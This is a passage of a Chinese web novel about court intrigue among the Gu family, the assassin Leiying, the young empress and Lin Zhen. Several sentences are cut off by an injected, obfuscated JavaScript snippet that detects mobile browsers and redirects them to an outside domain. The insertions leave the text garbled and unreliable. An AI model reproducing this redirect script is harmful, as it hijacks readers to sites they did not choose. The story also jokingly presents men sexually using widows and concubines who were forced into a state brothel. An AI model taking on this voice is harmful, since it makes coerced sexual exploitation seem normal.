他需要平复心绪,因为他即将面对的是一位非同小可的女子——天道十二仙之一的雷影仙子,亦是江湖中令人闻风丧胆的冷血杀手。 “吱呀——门轴轻响,门扉缓缓开启。 顾北辰跨过门槛的那一刻,他的视线不由自主地凝固在了前方。 雷影仙 子一袭衣袂飘飘,身姿曼妙,立于堂中,她就像是一抹不经意间洒落人间的清幽月光,既带着超凡脱俗的纯净,又蕴含着让人无法忽视的冰冷锋芒。 她没有佩戴任何兵器,因为在她的身上,每一寸肌肤、每一块骨骼,都仿佛已经被铸造成了世间最锋利的剑。这是一个让人心生敬畏的女子,她的存在,本身就是一种极致的威胁。 然而,即便是像顾北辰这样,早已阅尽人间美色的男子,也不得不暗暗承认,眼前的雷影仙子,真的好美。她的面容清冷如霜,仿佛从未沾染过世俗的烟火气;她的气质孤傲决绝,让人不由自主地想要退避三舍。 或许是因为常年习武的缘故,她的身形更加挺拔,每一个动作都透露出一种难以言喻的力量感。她的手,虽不似那些娇生惯养的少女般柔嫩细腻,却也拥有着白皙中透着淡淡红晕的肤色,修长且晶莹剔透,自有一番别样的韵味。 最让顾北辰难忘的是,是她眉心那颗宛如朱砂点染的红痣,圆润而饱满,如同晨曦中初绽的露珠,为她那清冷如霜的面容添上了一抹不经意的妩媚与柔情。 之所以在进门要深呼吸,就是生怕自己内心的平静与坚定,被她的美丽所打乱。这可不是一个随随便便就能搞到手的女人,所以顾北辰不敢有丝毫的轻慢与唐突。 “雷影仙子,一路辛苦了。”顾北辰没有作揖,论身份来讲,他是顾家少爷,雷影只是平民。不过雷影也同样没有作揖,美眸轻轻睁开,淡淡的看了顾北辰一眼,随即又闭上,就好像看到只爬来爬去的蚂蚁那般无所谓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但转念一想,与这蛮不讲理的女子争执,无异于对牛弹琴,又何必失了风度地大吼大叫呢? 于是他又静下心来,说道:“定金不用退,绑不回来就杀了吧。” “哼,早说杀人,何至于折了我的手下。”雷影仙子怒气犹存,但那话语间却透出一丝妥协的意味,随即她站起身,准备迈步离去。 恰在此时,顾北辰亦随之起身,一声冷厉的“等等!”截断了她的去路。 第160章 顾北辰命悬一线 他的声音中蕴含着刻骨的恨意,几乎是一字一顿地说道:“光杀一个张俪还不够,我要你连林臻一起杀了。 雷影仙子身形倏地一顿,猛地转过身来,脸上写满了难以置信。她那双明媚动人的大眼睛在他身上来回巡视,上上下下地打量,嘴里喃喃道:“长得人模狗样的,也不像有病啊. 顾北辰面色骤变:“你!你说什么? 他承认雷影仙子长得很倾国倾城,但也不能随随便便就开口骂人啊。 “我说你有病。雷影仙子的声音清冷干脆。 顾北辰怒不可遏,语气中满是威严与愤怒:“放肆!你怎敢如此和我说话? “说你有病,你还不信。“杀林臻我直接替你把皇帝杀了呗?把七国的皇帝杀个遍,你来做天下之主。搞笑呢吧?你以为你是谁啊?雷影仙子语气中充满了对顾北辰内心想法的嗤之以鼻。 “雷影,你不要欺人太甚。 “顾北辰,以前我还挺看好你的,但没想到你居然这么幼稚,跟你合作只会玷污我天道门楣。此事到此为止,定金我会让人送过来。言及此处,雷影再次转身欲去,却闻顾北辰厉声喝道:“站住! 霎时间,仓啷啷一阵剑鸣,一柄寒光凛冽的长剑自雷影仙子袖中脱出,狠狠贯入地砖之中,如同一道银色天堑,横亘于二人之间。 雷影的面容冷若寒霜,双眸中没有丝毫温情。她凝视着顾北辰,仿佛只要他再向前迈出一步,便会瞬间引爆她心中的杀意。 “顾北辰,买卖不成仁义在,你可别逼我。我们杀不了林臻,但杀你一个丞相之子还是绰绰有余的。 顾北辰闻言,气得脸色铁青,胸口剧烈起伏,却硬是不敢妄动分毫。他深知,眼前这个看似娇弱的女子,如果要取他的性命,简直易如反掌。 自己身为丞相之子,此刻竟被一个女子逼得如此狼狈,真是奇耻大辱! 顾北辰咬牙切齿,一字一顿地说道:“你好,你很好。 雷影仙子将长剑拔出,剑光如秋水般明亮,映照着她冷峻的面容,更添了几分不可侵犯的威严。 “哼。 她冷哼一声,将剑收回衣袖,转身开门。 然后就在这开门的瞬间,她看到院子里站满了白袍义从!他们身姿挺拔,手持长弓,箭矢已在弦上,蓄势待发。 而他们所有的目光,所有的箭头,都不约而同地锁定在了刚刚跨出门槛的雷影身上。 顾北辰也被这突如其来的阵仗震得一时语塞,心 中惊涛骇浪。 他瞥见自己指派去守门的小厮,此刻竟然浑身是血,半死不活地躺在地上。 而在这片肃杀之中,自己父亲,顾云霆的身影赫然在列。他单手背在身后,步伐沉稳地向前迈出一步,眉头紧锁,声音中带着不容置疑的威严:“天道妖女,还不速速束手就擒! 顾北辰心中就三个字。 活爹啊! 别人都是坑爹,你是真坑你儿子啊! 你这不是把我坑惨了吗? 在那白袍义从的阵列深处,隐匿着一道不为人注意的身影——顾南山。 他巧妙地躲藏于同伴的背影之后,嘴角勾起一抹阴森冷笑,仿佛冬日里悄然绽放的冰凌,透着刺骨的寒意。 刚才就是他把雷影仙子的消息传给顾云霆的,小厮也是他派人打的,其目的就是为了要挑起顾家和天道的战火。 京城越乱,他才有机会浑水摸鱼,一步步完成自己的布置。 为了自己的目标,顾南山已经不顾一切了。 此刻,场上气氛紧绷,箭矢在弦,一触即发。 雷影仙子的目光掠过那一排排严阵以待的白袍义从,回过头对顾北辰露出一个比鬼还恐怖的笑容:“哦?你算计我? 顾北辰心中万般不愿在众人面前低头,却还是硬着头皮,坦诚道:“我没有。 “那这些人是怎么回事? “我不知道。 “呵呵呵呵,你不知道?你以为我会信吗?雷影仙子的笑容愈发灿烂。 熟悉她的人都知道,只要她露出这个笑容,那就代表有人要倒霉了。 而白袍义从那么多弓箭手在前,绝不可能是他们,所以这个人只会是顾北辰。 果然,说时迟那时快,顾北辰还没来得及解释,就被雷影仙子强行拉入怀中,一抹寒光闪烁,长剑已悄然抵在他喉咙上。 “北辰!顾云霆厉声大喊。 “少爷!! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789293|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雷影仙子挟持着顾北辰,一步步向后退去,目光凌厉如刀:“都别动!否则我们就同归于尽! “妖女!你放开我儿子!顾云霆的怒吼在空旷中回荡。 “顾云霆,我们天道与你顾家井水不犯河水,今日为何阴我? “哼,你们天道臭名昭著,人人得而诛之!老夫替天行道有何不可?顾云霆的回答掷地有声。 然雷影仙子却仰天长笑:“替天行道?哈哈哈哈哈,我们就是天道!这个世界上,也只有我们,才可以替天行道! 言罢雷影神色一凛,眼看着就要给顾北辰抹脖子! 隐匿于暗处的顾南山不由暗自喝彩,拍手叫好! 只要顾北辰一死,顾家与天道就是不死不休的局面! 然而,就在这生死一线的紧要关头,一阵突如其来的破风之声打破了凝固的空气。 雷影背后的窗户仿佛被无形之手猛然推开,紧接着,一股强大的力量自窗外涌入,一掌重重地轰击在她的背心之上! 砰—— “啊!!” 沉闷的声响回荡在室内,伴随着雷影仙子的一声凄厉惨叫,手中的长剑如同断线的风筝。 而她的身体也失去控制,向前飞扑了出去,最终狠狠摔在地上,口中喷出一口殷红的鲜血,染红了衣襟。 “噗咳咳咳咳。”雷影仙子趴在地上,捂着胸口猛烈咳嗽,她难以置信的转头看去,就见一个身穿蓝色长袍的人,手持一柄拂尘站在那里。 不远处的顾南山见状,当即大惊失色! “啊!?竟然是他?” 慕容无舌。 只见这位老太监阴狠地笑了笑:“呵,真是什么阿猫阿狗都敢来丞相府撒野。” “快把妖女抓起来!”顾云霆命令白袍义从抓雷影仙子,同时自己跑过去,将顾北辰扶起来。 “北辰!!”此刻他脖子上有一道清晰的伤痕,鲜血如断了线的珠子,噼里啪啦往下滴落。 如果慕容无舌再晚半秒出手,恐怕顾北辰就已经殒命当场了。 “快喊大夫!”顾云霆大喊一声,随即将顾北辰交给手下,自己则来到慕容无舌面前作揖道谢。 “多谢无舌先生出手相助。” 第161章 可怜的慕容嫣被骂惨了 慕容无舌轻轻一挥他那似乎毫无重量的拂尘,嘴角勾起一抹老练而阴森的笑。 那笑容在他沟壑纵横的脸上显得尤为诡异:“呵呵呵,顾相客气了,顾相真是太客气了,老奴不过是个跑腿传话的,没想到会撞见这等热闹。 顾云霆拧着眉头,眼中闪过不解。 难道是陛下要见我? 他已经很久没召见过自己了啊,今天这是怎么了? 不知为何,顾云霆总有种不祥的预感。 即便最近不祥的预感特别多。 “哦?陛下可是有旨意下达? “正是如此,陛下急召顾相与顾院判即刻进宫。不过,考虑到顾院判眼下身受重伤,行动不便,便只请顾相一人速速前往吧。 “那我即刻更衣,随您前往。 “有劳顾相了,呵呵呵呵。慕容无舌的笑容总是给人一种不寒而栗的感觉,每次顾云霆见到他时都会觉得浑身不自在。 只是他万万没想到这位看似卑微的宦官,竟是个能一掌拍飞雷影仙子的高手! 看来,先帝还是给陛下留了很多后手的呀。 顾云霆抬手拭去额间细汗,目光转向刚步入门槛的顾南山,吩咐道:“南山,家里的那几个大夫不顶用,你立刻去寻最好的大夫来,北辰的安危容不得半点差池。至于这妖女 他目光一凛,指向一旁的雷影仙子:“将她捆起来,关入厢房,等我回来亲自炮制她 “是。 慕容嫣近日心情格外不错。 一是因为英雄赌场的首月分红如约而至,整整四辆马车的银元宝。 这可是一万两啊! 对于素日里自嘲为“大穷鬼的她而言,无异于天降横财,足以让心中那些遥不可及的梦想与计划悄然生根发芽。 其二,辽东之地也传来了捷报。 地方官吏的回复中字里行间洋溢着胜利的喜悦——灾情已得妥善治理,民众们自发聚集于水渠之畔,跪拜感恩,高呼“陛下万岁,整个地域仿佛被一股温暖而虔诚的力量所笼罩,处处回响着对皇恩浩荡的颂歌。 这样的消息,无疑是最能触动帝王心弦的,任是哪位君主听闻,恐怕都会龙颜大悦。 然而,宫廷深深,高墙黄瓦,真相往往被层层帷幕遮掩。那些来自远方的赞歌,究竟是真心实意的感激,还是粉饰太平的虚词,便如同雾中花、水中月,难以窥其全貌了。 众多朝臣私下里皆言 慕容嫣天真愚钝,甚至是缺心眼。 对此林臻也深有同感,不过林臻很清楚,她的傻是有原因的。 在这本书里,她本来就不想当皇帝,是因为所有皇子和亲戚都死光了,先皇无奈之余,只得将这沉重的皇冠戴在了她的头上。 在此之前,她不过是宫中一位无忧无虑、纯真烂漫的小公主,每日里与花鸟为伴,不食人间烟火。 然而,登基前夕,一场突如其来的“公主薨逝”的宣告,如同惊雷般震碎了她的过往,自那日起,她就从慕容嫣变成了皇帝最小的儿子慕容复。 这位可怜的女子,一夜之间,从无忧无虑的公主转变为肩负天下的帝王。 她对于那些错综复杂、暗流涌动的官场规则知之甚少,亦未曾触及民间百姓的辛酸与苦楚,对于人性的幽微与局势的变幻更是茫然无知。 她只记得先帝在临死前要她密切关注林家,步步为营,逐步将兵权纳入囊中,并以此为基石,与顾家势力携手共进,待林家这根眼中钉拔除、兵权在手后,再巧妙制衡顾家。 想法是好的,思路也没毛病。 但慕容嫣现在觉得林家要比顾家靠谱得多,至少现在的林臻行事光明磊落,从不干那些伤天害理的事情,不像那个看起来风度翩翩实则心狠手辣,一肚子坏水的顾北辰那样,让人讨厌。 最让慕容嫣高兴万分的是,通过廉强,她已经彻查了十几名官员。 可以说不查不知道,一查吓一跳。 这些官员里,不管大官小官,随便拎出来一个都比她富裕,这怎能不让她怒火中烧? 但她明白,眼下不可能把所有官员都杀了,那样朝廷的运作将陷入瘫痪。 所以她才处置官员缴纳所有非法所得,于是这段时间她积累了大量的财富。 昨夜百骑司来报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789294|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刘翰阳携带全家出逃,气得慕容嫣当即派百骑司星夜兼程去追,可是到现在依然音讯全无。 另外,廉强死了。谭勇呈上的报告中言其乃咬舌自尽,慕容嫣听后并未起疑,当即下令加强对索立文的看守,不得再出现这样的事情。 因为她要利用这个最后的大官,去剥夺更多官员的钱财。 她现在对抢钱已经有些上瘾了。 此刻,慕容嫣正端坐于议政殿内,批阅着堆积如山的奏章,偶尔抬头望向窗外,转头问向身旁的嬛嬛:“无舌怎么还没回来?” “奴婢派人去催催?”“罢了吧,无舌向来稳妥,估计是有什么事情耽搁了。” 皇宫深处, 御林路两旁古木参天,阴影斑驳中,顾云霆的脚步略显迟疑,他犹豫再三还是叫住了在前面领头的慕容无舌。“无舌先生。” 慕容无舌停下脚步,慕容无舌闻言,步伐轻盈一顿,转过身来,面上挂着一抹温和而不失恭敬的微笑,好像刚才杀人的不是他一样。 “哦?左相有事?” 顾云霆心中五味杂陈,望着这位看似无害实则深藏不露的内廷总管,小心地道:“在下心中颇为忐忑,不知陛下此番急召,究竟所为何来?” “哦呵呵呵,老奴也不知道。” 看他的笑容顾云霆就在心里暗骂。 腌臜的阉人! 你TM肯定知道! 心里这么想,面上却不动声色,自袖中取出一枚银饼子递过去:“还请无舌先生.” 话还没说完,无舌就把他的手往回推了推:“顾相,老奴真的不知道。” “既然如此,那我就不为难先生了,只是希望无舌先生还是不要把天道妖女的事情说出去,可否?” “呵呵呵呵,老奴自有分寸,顾相无须担心。” “呼。”顾云霆长舒口气,笑着邀请无舌继续往前走。 议政殿内,慕容燕单手撑着美鬓看奏折,无舌从殿外躬身迈着小碎步走了进来。 “启禀陛下,左相在殿外等候。” “让他进来。” “是!宣左相觐见。” 第162章 死太监,你个老阴B! 顾云霆穿着得体的朝服,快步走进来,对慕容嫣跪下:“臣参见陛下。 “爱卿平身。 “谢陛下。 顾云霆站起来,心里直打鼓。他不知道慕容嫣突然喊自己过来是做什么,但他总觉得不会是什么好事情。 目光转向场内,顾云霆孤独的身影显得格外醒目,慕容嫣诧异地问道:“顾相,顾院判呢? 完蛋,以前都叫北辰,现在直接叫官职了。 这是打算彻底放弃顾家了么。 顾云霆正要解释,却见慕容无舌不动声色地立于慕容燕身旁,语调平静地代为答道:“启禀陛下,顾院判因伤未能前来。 慕容燕鬼使神差地问了一句:“他怎么又受伤了? 顾云霆听后气得直咬牙。 什么叫又啊? 我儿子除了和林臻打架以外,什么时候受过伤啊? 慕容无舌笑得像只骄傲的大蝙蝠,低沉的嗓音中带着难以言喻的狡黠:“呵呵呵呵,顾院判不知道怎么就招惹到了天道的人,险些被杀死,幸亏老奴出手,才将他救了下来。 听到这句话的顾云霆心里咯噔一下! 我草你妈的老太监,你阴我! 不是说好了要守口如瓶,不让陛下知道的吗? 果然,慕容嫣的眉头瞬间紧锁:“什么?天道? 慕容无舌故作迟疑,眼中却闪过一抹精光,缓缓言道:“正是,老奴去得晚,听得不全,好像是顾院判和天道十二仙之一的雷影仙子起了冲突,结果险些被杀 慕容无舌将今日之所见所闻,如竹筒倒豆子般,一五一十地倾诉而出。 原来啊,今天早上慕容无舌被慕容嫣派去传旨,因为是宫里的天使,入门之时,无人敢上前阻拦,看门的小厮更是毕恭毕敬,直接将他引至后院。 却发现后院没人,于是又把他带到了顾北辰的院子里。这才发现,顾北辰的院子里围得满满都是白袍义从。 小厮见状,刚要惊呼出声,却被慕容无舌以迅雷不及掩耳之势,一记手刀劈在后脑勺上,瞬间昏厥过去。随后他像个大蝙蝠似的跳到书房后面,站在窗口听顾北辰和雷影仙子的对话。 然而,他终究还是去得迟了,只断断续续捕捉到几句模糊的话语,诸如“刺杀皇帝、“让顾北辰做天下之主之类的东西,这些惊心动魄的内容,他自然不敢在大殿之上公然吐露,只轻描淡写地提及自己救下了顾北辰一命。 慕容嫣又如何能预料到,顾北辰竟胆敢与天道 暗中勾结?她初时只道是寻常的买凶杀人,目标直指丞相之子,顿时怒不可遏,一掌重重拍在龙案之上。 “这些民间组织也放肆了,光天化日之下就敢行刺朝廷重臣!朕绝不能轻饶!” 见慕容无舌说得妥帖,顾云霆也就坡下驴,拱手说道:“陛下!北辰前些时日因抓了几名天道杀手,所以就被他们惦记上了,不过北辰并没有大碍。” “真是岂有此理.”眼看慕容嫣要下什么脑残的旨意,慕容无舌连忙出声打断:“陛下,天道成立日久,不是那么轻易铲除的,况且我们现在没有足够的兵力去民间抓捕,徒增百姓恐慌,不如暂且搁置再议。” “唔。”慕容嫣目光深邃的点点头,看向顾云霆:“既然顾院判没有大碍,此事暂且按下,朕今天叫你来,是想问问你,关于辽东水灾的事情。” 慕容嫣拿起手里的奏折,边看边对顾云霆说道:“这次水灾幸得顾院判指点,处理得还不错,朕打算犒赏那些有功的地方臣子,你有何建议?” 啊? 顾云霆自己都懵了。 犒赏那些贪官? 要不您还是犒赏犒赏我吧! 如果没有我,他们怎么可能贪那么多钱? “臣不敢妄断,全凭陛下做主。”以前这么说话,慕容嫣总是会继续追问,因为她对顾家深信不疑。然而今日,她却异常地轻轻颔首,应允了此事,未有丝毫迟疑。 “既如此,你且先行退下吧。” “这遵命,微臣告退。”顾云霆心中不禁掠过一抹愕然。 自己本来都准备好说辞了,你竟直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789295|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允许我走? 那你叫我来的目的是什么? 折腾我一圈? 顾云霆心中一万句草泥马,但还是乖乖退了出去。 待他身影消失于门扉之后,慕容嫣的面容瞬间凝重如霜,眸光凌厉地投向了慕容无舌:“方才,你何故贸然打断朕?” 慕容无舌低垂着头,语气中带着难掩的敬畏:“陛下,这件事情远远不是老奴说的那般简单,只是顾忌他在场,没办法直言不讳,其实,老奴还听说了几句话。” 于是慕容无舌把后面顾北辰和雷影仙子的对话说了出来,什么杀林臻,杀皇帝,杀全华夏的皇帝然后让顾北辰当天下之主。 闻此,慕容嫣身躯一震,怒气翻涌,整个人仿佛被寒冰与烈焰同时包裹,颤抖不已。 “顾北辰你竟敢如此大逆不道,身为朝廷官员竟与天道合作!你爹顾云霆嘴里也没一句实话,你们顾家真是越来越不值得朕信任了。” “无舌!” “在。” “派人紧盯着顾家,另外叫吏部的人进宫见朕。” “是。” 慕容无舌正欲转身离去,慕容嫣心里却浮现出一张大大的笑脸。那笑容,带着几分狡黠与不羁,透着一丝惹人微恼的轻佻,却奇异地,让她心底生出莫名的渴望,想要再次与那笑容的主人相遇。 于是她再次把慕容无舌叫住:“等等!” “让林臻也一同进宫。” 英雄赌场。 林臻脸色铁青地回到张俪的卧房,整个人显得心事重重。 张俪僵坐在椅子上,脖子不敢乱动,直挺挺地看着前方问道:“世子,那刺客交代了吗?” 林臻摇了摇头。 “没有,他只说自己是被雷影仙子派来的,并不知道背后的雇主。” “啊?连世子也审不出来,那他就是真的不知道了。” 林臻冷笑:“呵,就算他不说我也能猜到是谁,只是我没有证据而已。” “世子觉得会是谁?” “呵,你觉得除了顾家还能是谁?” 第163章 世子......您可千万别乱来, 张俪贝齿轻咬,眸中闪烁着深以为然的光芒。 要说自己这段时间都得罪过谁,那实在是太多了,数不胜数。光是这一间金碧辉煌的赌场,每日便有无数纠葛上演。 有因债台高筑而遭受暴力催债的落魄者,有被庄家设局骗得倾家荡产的可怜虫,亦有酒后滋事,最终被狠狠教训一顿的狂徒。 这些人虽心怀怨恨,但无一例外,都不具备聘请天道高手来暗杀自己的能力。 至于那些出身显赫的官二代、军二代等,张俪自是游刃有余,处理得恰到好处,几乎未曾真正触怒过这些权势滔天的纨绔。即便偶有得罪,他们也知道张俪是林臻的人,不敢轻举妄动。 再者,便是那些富甲一方的豪商了。然而能跻身此列之人,皆是精明强干之辈,眼睛和嗅觉毒辣得很,即便儿子在赌场一掷千金、输得个精光,他们也绝不会铤而走险,行那买凶杀人之事。 算来算去,也就剩顾北辰最有可能了。 他有钱,有底气,不怕后果,而且又十分痛恨张俪,与天道联手做局,不是没有可能。 想到这,张俪恨恨地攥紧拳头。 当年自己可真是瞎了眼,竟会对这样的败类心生情愫。 张俪端坐于椅,挺直美背,身姿曼妙,透出一股不言而喻的典雅之气。长发如瀑,轻轻披散在肩头,更是平添了几分柔情与温婉。 一双乌黑发亮的眸子转向林臻,嘴角勾起一抹笑,柔声道:“世子,您能不能站到妾身面前来,妾身转不过去脖子。 林臻觉得有些好笑,于是走到她面前,蹲下身子,双手自然而然地搭在了她的膝盖上。 林臻能清晰地感受到,张俪的身体在这一刻猛地一颤,仿佛被某种无形的力量所触动,用两条美腿将他的手夹得紧紧的。 她咬住下唇,双颊泛起一抹娇艳欲滴的红晕,犹如晨曦中绽放的桃花,羞涩而又动人, “世子.您可千万别乱来,妾身现在不能动. 林臻笑着道:“呵呵呵,我没想乱来,我只是想告诉你,这个仇,我一定会替你报。 “世子,您万万不能冲动,顾家余威尚在,尤其在地方上,很多官员还是站队顾家的,您若把顾北辰打死,大乾会内乱。 林臻霸气且自信地道:“放心吧,有王爷在,大乾乱不起来。你且好生修养,其他的交给我。 这番话如同春风拂面,让一向坚韧独立的张俪心中涌起一股暖流,她微微垂首,露出一抹温婉的笑意,颊边两行洁白如玉 的贝齿在阳光下若隐若现,点头笑道:“嗯,好!” 林臻起身,走向门外。门口,正站着两位容颜绝美、宛若并蒂双花的双胞胎姐妹。 闫菲、闫苗。 现在还不到她们的上班时间,所以就临时来当张俪的丫鬟。 林臻含笑伸出手,以一种近乎宠溺的轻柔,在她们俩圆润的臀瓣上轻轻一拍,说道:“好好照顾你们老板。” “呀!”妹妹的惊呼清脆悦耳,而姐姐则迅速反应,目光温婉地望向林臻,嘴角勾勒出一抹得体又不失风情的笑意。 “遵命,世子大人!” 林臻步伐稳健地缓慢下楼,心里暗地琢磨着。该死的顾北辰居然敢对我的女人下手,真是给他脸了。这次老子非让你涨涨记性不可!林臻发着狠,心中已涌出一个阴狠的计划来到一楼点齐哼哈二将,准备出门,这时林臻突然听到一个熟悉的名字。 “福贵哥好厉害呀!给奴家一点赏钱嘛!” “哈哈哈哈,赏!” “富贵哥,再来一局!我不服!” “来就来,我就怕你!?” 林臻顺着声音望去,就见那个叫福贵的男人穿着长衫,怀里搂着一个姑娘在高端区与人玩牌九。 卧槽,该不会是《活着》里面的男主穿越来了吧? 看那对待女子十分娴熟的动作,应该不会是穿越者,罢了,还是先办正事吧。 林臻和侯春、二狗出门,直奔大理寺。 他需要找索立文问问,是不是还有秘密没交代。 至于谭勇是否会卖他这个面子,林臻心中并无十足把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789296|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握。 时间尚算宽裕,故而林臻并未选择乘坐马车,而是漫步于街头,一边缓缓前行,一边细细思量着那个即将实施的计划。 行走间,不经意间抬头,阳光下,一位肤色黝黑、身形敦实的男子正嘬着牙花,悠哉游哉地自教坊司门槛迈出。 那不是芦德豪么? 紧随其后的是三位面貌与他颇为神似的魁梧汉子,乃是他的三位哥哥。 芦德霜。 芦德淼。 芦德钦。 由此可见,勋国公老爷子在起名这方面还是比较有水平的。 芦德豪随意朝路边吐了口唾沫,目光流转间,忽地捕捉到了立于不远处的林臻。他脸上瞬间绽放出灿烂的笑容,大步流星地迎了上来。 “大哥!” 林臻也已含笑以待,轻轻一拳捶在他的肩头,“好小子!几日不见我以为你得杨梅大疮了呢。” “哎呀大哥,你别提那个词行不行,我这刚爽完” 此时,芦德豪的三位哥哥也都走了过来,对林臻友好地作揖:“世子。” 林臻点点头,语气暧昧地问道:“嗯,你哥四个怎么会一起去教坊司啊?” “额” 闻言,作为长兄的芦德霜不禁伸手挠了挠头,面上浮起一抹赧然之色。 芦德豪则是一副大大咧咧的模样,直言不讳:“嗐,这不是廉强的家眷被充入教坊司了嘛,我们兄弟几个就合计着,去关照关照廉伯伯的遗孀和那些孤女寡母,也算是尽我们的一份心意。” 林臻露出男人都懂的微笑:“呵,嘴上说得斯文,手上半点不留情吧?说,廉婶婶的脚丫子味道怎么样?” 芦德豪一脸的苦不堪言,连连摆手:“别提了大哥,刚开始我也不知道廉婶婶是农妇出身啊。刚给她脱下鞋袜我的姥姥啊!那脚丫子黑得都TM快赶上我这张脸了,脚后跟也硬邦邦的像树皮似的,舔一下,差点没把我的舌头扎破了。你以为我刚才吐的是啥?那不是口水,是脚皮!” “哈哈哈哈哈哈。” “哈哈哈哈哈。” 第164章 等等!进去?进哪里去?你这进去正经吗? 除了芦德豪,其余四位男士在街上放声大笑。 林臻笑得眼泪都快出来了,十分夸张。他一只手搭在芦德豪宽厚的肩膀上,另一只手捂着肚子,身体几乎弯成了月牙状:“哈哈哈哈,不是,那都知道是树皮了怎么还舔啊?” “廉婶婶可是四品诰命,光是这身份就足够让我动心了。更何况小时候我常去她府上玩耍,婶婶还亲手喂我吃过饭呢,就冲这份情谊,我必须得格外照顾!” “意思就是你照顾得还不错?” 芦德豪故意摆出一副愁容满面的模样,叹息道:“唉,婶婶可是怪可怜的,我进去的时候,她跪在床上一个劲儿地哭,哭得肝肠寸断。可是我有什么办法?廉强已死,一切尘埃落定,谁也救不出来她。” “说的也是.”林臻闻言也略有感慨。 虽然廉强该死,但连累了亲人,实在是意外。 “诶?等等!”林臻脑海中突然闪过一个念头,他猛地抓住芦德豪的衣领,急切地问道:“进去??你这进去正经吗??” “当然正经啊,婶婶都没反抗,后来看那表情好像也挺满意的。唉,我们做小辈的,也只能在这件事情上尽尽孝心了,否则换武官里的那些糙汉子来,婶婶还不被折腾死。” 林臻竖起大拇指:“德豪,你才是真大哥啊!据我所知,婶婶今年怎么也四十大几了吧?” 芦德豪又吐出去一口脚皮:“吐!四十八。” 林臻微微有些恶寒。 不是说四十八岁的女人不美丽,而是这个女人曾经给你喂过饭啊! 这和自己母亲有什么区别? 林臻强忍住内心的不适,说道:“这种事也就你干得出来。” 芦德豪不以为意:“拉倒吧,我让廉婶婶在天命之年回味下做女人的快乐,这是功德好不好!我大哥二哥三哥,他们选的也都是廉叔的小妾,不信你问。” 说着,他朝身旁的三位兄长使了个眼色,三人不约而同地摸了摸后脑勺,脸上泛起一抹腼腆的红晕。 那副神态,倒像是青涩少年初尝情滋味。 至于他们在照料那些娇妾时是否也这般羞涩,那便无从知晓了。 罢了,这就是廉家的命运。 林臻正准备走,芦德豪却一把拉住了他的衣袖:“大哥,你要想去就抓紧,只剩下一个闺女了,其余的都被那些王八蛋祸害完了。” 林臻摆了摆手:“我不感兴趣。” 言罢他带着侯春和二狗继续去往大理寺。 一段 微不足道的小插曲,林臻并未多加留意,他甚至未曾觉得芦家四兄弟的行为有何不妥之处。 即便他们不去教坊司关照那些廉家的孤寡,也自有他人会去填补这份空缺。 这不仅是对廉家的惩罚,亦是慕容嫣给予廉家最后的一丝怜悯。 没错,在慕容嫣的眼中,留他们一命,已是莫大的恩赐。 此时林臻还不知道慕容嫣正在火急火燎地找他,他悠然自得地踱步至大理寺的门前,那两队守卫的士兵见状,纷纷抱拳行礼,齐声唤道:“世子。” 林臻微微颔首,目光温和地转向身旁的一名士兵,轻声道:“嗯,进去传话,我要见谭大人。” “是。”士兵应声而去,步伐中带着几分急切。 不多时,便见谭武身着笔挺的官服,一脸忧色地亲自迎了出来。他是一位身型魁梧的中年男子,下颌蓄着浓密的长须,官服上的每一处褶皱都透露着严谨与庄重。 面对林臻,他的眼神中满是敬意,仿佛对方是他心中不可撼动的参天大树。 此人外表看似谦逊恭顺,实则与顾家交情匪浅,这在圈内早已不是秘密。然而,世事无常,因为林臻的到来,许多人的命运轨迹或许都将发生微妙的偏移。 在这风云变幻的世界里,昔日的朋友或许会成为今日的对手,而曾经的敌人,也可能携手共渡难关,这都说不准。 谭武缓步至林臻跟前,双手轻拢袍袖,行了一礼,语带恭敬:“下官谭武,见过世子。” “谭大人辛苦。” “世子请。”谭武侧身微让,示意引路。 